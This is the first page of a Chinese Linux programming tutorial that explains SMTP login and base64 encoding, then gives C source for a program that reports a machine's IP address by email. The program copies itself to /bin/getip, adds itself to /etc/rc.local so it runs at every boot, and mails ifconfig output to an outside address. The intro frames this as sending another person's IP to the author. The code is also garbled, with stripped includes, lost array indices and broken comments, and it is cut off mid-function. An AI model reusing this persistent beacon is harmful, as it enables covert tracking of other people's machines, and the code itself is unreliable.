设为首页 友情链接
在线留言 发表文章
加入收藏 广告联系

刺猬首页

| 专案技术 | 网络技术 | 图形图象 | 网络编程 | 网页设计 | 操作系统 | 服务器 | 技术白皮书 | 在线实验室 | 刺猬论坛 |
小说专版  | 数据库 | 设计赏析 | 存储频道 | 网络安全 | 私服架设 |  Solaris | 网站评估 | PC维护技巧 | 下载中心 | 博 客 |
专   题: | Linux | java | cisco | 防病毒 | 刀片 | SOA | iscsi | ASP.NET | SQL | Oracle |
您现在的位置: IT公社 IT community >> Linux专题 >> Linux 软件开发 >> 教程正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
Linux下Shell基础知识深…
Linus 谈调试器和内核如…
一个Linux爱好者的2.6.1…
关于Linux内核级后门的原…
如何编译linux内核
Linux下程序开发:QT的信…
Linux下程序开发:QT中使…
Linux操作系统的编程环境…
Linux操作系统上安装GCC…
Linux操作系统的声音设备…
  Linux系统下发送Email的C语言代码         
Linux系统下发送Email的C语言代码
 

现在很多用户都是自动获取ip,而不是固定不变的,现在作个简单的程序,在他每次上网后,把他的ip自动发给我指定的email。实现很简单(当然,前提是你有相应的权限,:D),通过调用system(),把程序路径放到/etc/rc.local里,以便每次启动调用。利用ifconfig获取ip,并写到一个临时文件,然后读文件内容到缓冲区,作为email正文发送到指定的email。以163.com的smtp服务器为例,现在的smtp服务器都加入了验证功能(不同服务器验证的方式是不同的,sina的验证就不同,具体的验证方式没有研究),通讯的过程是这样的:

[root@localhost root]# telnet smtp.163.com 25

Trying 202.108.44.170...

Connected to smtp.163.com.

Escape character is '^]'.

220 Coremail SMTP(Anti Spam) System (163com[20030606])

ehlo smtp.163.com

250-192.168.1.170

250-PIPELINING

250-AUTH LOGIN PLAIN NTLM

250-AUTH=LOGIN PLAIN NTLM

250 8BITMIME

auth login

334 VXNlcm5hbWU6

xxxxxx(base64编码过的用户名)

334 UGFzc3dvcmQ6

xxxxx(base64编码过的密码)

235 Authentication successful

mail from:gyfxlt8.go@163.com

250 Ok

rcpt to:gymiles@sohu.com

250 Ok

data

354 End data with .

test

.

250 Ok: queued as IMA5dQQvoEEGyE4C.1

quit

221 Bye

Connection closed by foreign host.

smtp server返回值表

500 邮箱地址错误

501 参数格式错误 

502 命令不可实现 

503 服务器需要SMTP验证 

504 命令参数不可实现 

421 服务未就绪,关闭传输信道 

450 要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)

550 要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)

451 放弃要求的操作;处理过程中出错

551 用户非本地,请尝试 

452 系统存储不足,要求的操作未执行 

552 过量的存储分配,要求的操作未执行 

553 邮箱名不可用,要求的操作未执行(例如邮箱格式错误) 

432 需要一个密码转换 

534 认证机制过于简单 

538 当前请求的认证机制需要加密 

454 临时认证失败 

530 需要认证 



220 服务就绪 

250 要求的邮件操作完成 

251 用户非本地,将转发向 

354 开始邮件输入,以.结束 

221 服务关闭传输信道 

334 服务器响应验证Base64字符串 

235 验证成功

过程很明显了,再简单说说base64编码方式:可以将字符串3个3个的分开(不足的编码后以'='补),我们知道每个字符8位,这样,3个字符就是24位,base64编码将这3个字符(24位),6位6位的分开,分成4个字符,再将这4个字符的ascii码值与下面的表比较,取出相应的字符,就是编码后的最终字符。例如:abc这3个字符,编码前是这样的:

0110 0001 0110 0010 01100011

现在6位6位的重组:

011000 010110 001001 100011

得到的字符为:

00011000 00010110 00001001 00100011

ascii码值分别为:24 22 9 35。对照下面表,得出编码后的字符:YWJj。从程序的思路来看就是:

1。a>>2

2.(a&0x03)<<4 | (b>>4)

3.(b&0x0f)<<4 | (c>>6)

4.c&0x3f

然后将得到的值对照下表就可得出编码后的字符,具体实现见代码。Base64编码转换表(摘自RFC2045)

Table 1: The Base64 Alphabet



value Encoding value Encoding value Encoding value Encoding

0 A 17 R 34 i 51 z

1 B 18 S 35 j 52 0

2 C 19 T 36 k 53 1

3 D 20 U 37 l 54 2

4 E 21 V 38 m 55 3

5 F 22 W 39 n 56 4

6 G 23 X 40 o 57 5

7 H 24 Y 41 p 58 6

8 I 25 Z 42 q 59 7

9 J 26 a 43 r 60 8

10 K 27 b 44 s 61 9

11 L 28 c 45 t 62 +

12 M 29 d 46 u 63 /

13 N 30 e 47 v

14 O 31 f 48 w (pad) =

15 P 32 g 49 x

16 Q 33 h 50 y

本代码在thizlinux7.0下测试通过

code by sink (gymiles@sohu.com)

#include //include socket

#include 

#include //include fopen(),fread().fwrite(),fclose()

#include //include system()

#include //include gethostbyname()



#define PORT 25 //smtp port

#define SIZE 1024 

//define mail commands

#define EHLO 0

#define AUTH 1

#define USER 2

#define PASS 3

#define MAIL 4

#define RCPT 5

#define DATA 6

#define CONT 7

#define QUIT 8



void base64enc(const char *,char *);



int main(int argc,char *argv[])

{

int sockfd;

struct sockaddr_in server_addr;

struct hostent *server_ip;

int numbytes=0,i=0;

char username[512]="";//mail username

char passwd[512]="";//mail passwd



//buff store data by recv(),

//ip[SIZE] store data by fread() from ip_files

(use "ifconfig >tmp.ip",het ip_files)

char buff[512]="",tmp[4]="",ip[SIZE]="";

int ret=0;//function return

FILE *f_open,*f_write;

char *msg[9]={""};

char *n_return[9]={""}; //return number



msg[EHLO]="ehlo smtp.163.com\n";

msg[AUTH]="auth login\n";

base64enc("your name",username);

strcat(username,"\n");

msg[USER]=username;

base64enc("your passwd",passwd);

strcat(passwd,"\n");

msg[PASS]=passwd;

msg[MAIL]="mail from:xxxxx@163.com\n";

msg[RCPT]="rcpt to:xxxxx@sohu.com\n";

msg[DATA]="data\n";

msg[QUIT]="quit\n";



n_return[EHLO]="250";

n_return[AUTH]="334";

n_return[USER]="334";

n_return[PASS]="235";

n_return[MAIL]="250";

n_return[RCPT]="250";

n_return[DATA]="354";

n_return[CONT]="250";



copy self to /bin/getip

if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip 

is not existed,copy to it

{

if((f_open=fopen(argv[0],"rb")) ==NULL)//open self

{

perror("fopen argv[0] error");

return(-1);

}



if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the 

file which we will write to

{

perror("fopen /bin/getip error");

return(-1);

} 

while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file

{ 

if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip

{

perror("fwrite error");

return(-1);

}

}



fclose(f_open);//close all files we have opened

fclose(f_write);



//chmod 755 /bin/getip

if((ret=system("chmod 755 /bin/getip"))==-1)

{

perror("system error");

return(-1);

}



//call system("echo /bin/getip >>/etc/rc.local") 

if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)

{

perror("system error");

return(-1);

}

}



/*---------------------------

get ip,use system() call ifconfig>tmp.ip

---------------------------*/

if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)

{

perror("system error");

return(-1);

}



/*-----------------------------

read from tmp.ip,add it to msg[CONT]

-----------------------------*/

if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip

{

perror("fopen error");

return(-1);

}





i=0;

while((fread(&ip,1,1,f_open)) !=-1)//read from tmp.ip

{

i++;

if(i>SIZE)//if file is large than SIZE,only read SIZE bytes

break;

}

strncat(ip,"\n.\n",3);//cat "\n.\n" to data 

msg[CONT]=ip; 

fclose(f_open);





/*-----------------------------

rm tmp file

------------------------------*/

if((ret=system("rm -rf /tmp/tmp.ip"))==-1)

{

perror("system error");

return(-1);

}





/*------------------------------

connect server,and send command

------------------------------*/

//because the host connect to internet by dail,

//so,it is possiabe that host have not connected when it start

//then we sleep 5 miniutes,and try again until the host connect to internet

//we know the connection status by gethostbyname(),but this way is not always correct

while((server_ip=gethostbyname("smtp.163.com"))==NULL)

{

herror("gethostbyname error");

sleep(300);

}

//create a socket

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)

{

perror("socket error");

return(-1);

}

//address information

server_addr.sin_family=AF_INET;//host byte order

server_addr.sin_port=htons(PORT);//short,network byte order

server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip

bzero(&(server_addr.sin_zero),8);//zero the rest of struct

//connect server

if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)

{

perror("connect error");

return(-1);

}

//if connect success,server return "220"

if((numbytes=recv(sockfd,buff,SIZE,0))==-1)

{

perror("recv error");

return(-1);

} 

//clean tmp

for(i=0;i<4;i++)

tmp='\0';

strncpy(tmp,buff,3);

if(strcmp(tmp,"220")!=0)

return (-1);



//send msgs. if any step has a mistake,

the "while" will be breaked,then send "quit" to end connection 

i=EHLO;

while(i {

if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)

{

perror("send error");

break;

}

//sleep(1);we dont have to use it,because recv() can 

choke itself until it received data

if((numbytes=recv(sockfd,buff,SIZE,0))==-1)

{

perror("recv error");

break;

} 

strncpy(tmp,buff,3);



//printf("command:%s\n",msg);

//printf("return buff:%s\n",buff);

//printf("should return:%s\n",n_return);



if(strcmp(tmp,n_return)==0) 

i++;

else

break;



}





//send quit to end mail connection

if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)

{

perror("send error");

return(-1);

}





close(sockfd);

return (0);

}



/*-------------------------

base64 encode function

-------------------------*/

void base64enc(const char *instr,ch

[1] [2] 下一页

频道声明:本频道的文章除部分特别声明禁止转载的专稿外,可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。

原始作者:佚名 录入时间:2007-1-2 3:31:23
信息来源:不详 投稿信箱:itqoo@126.com
教程录入:itqoo    责任编辑:itqoo 
  • 上一个教程:

  • 下一个教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    - 关于我们 - 合作伙伴 - 友情链接 - 广告刊登 - 投稿热线 - 在线留言版权声明联系方式 -
    IT公社版权所有 粤ICP备05127012号
    Copyrigh@2005-2006 itqoo.com.Inc All Rights Reserved  推荐分辨率 1024*768
    联系站长:E-Mail:itqoo@126.com     MSN:urchincc@hotmail.com    QQ:点击这里给我发消息
    特别感谢:亿太网络提供空间支持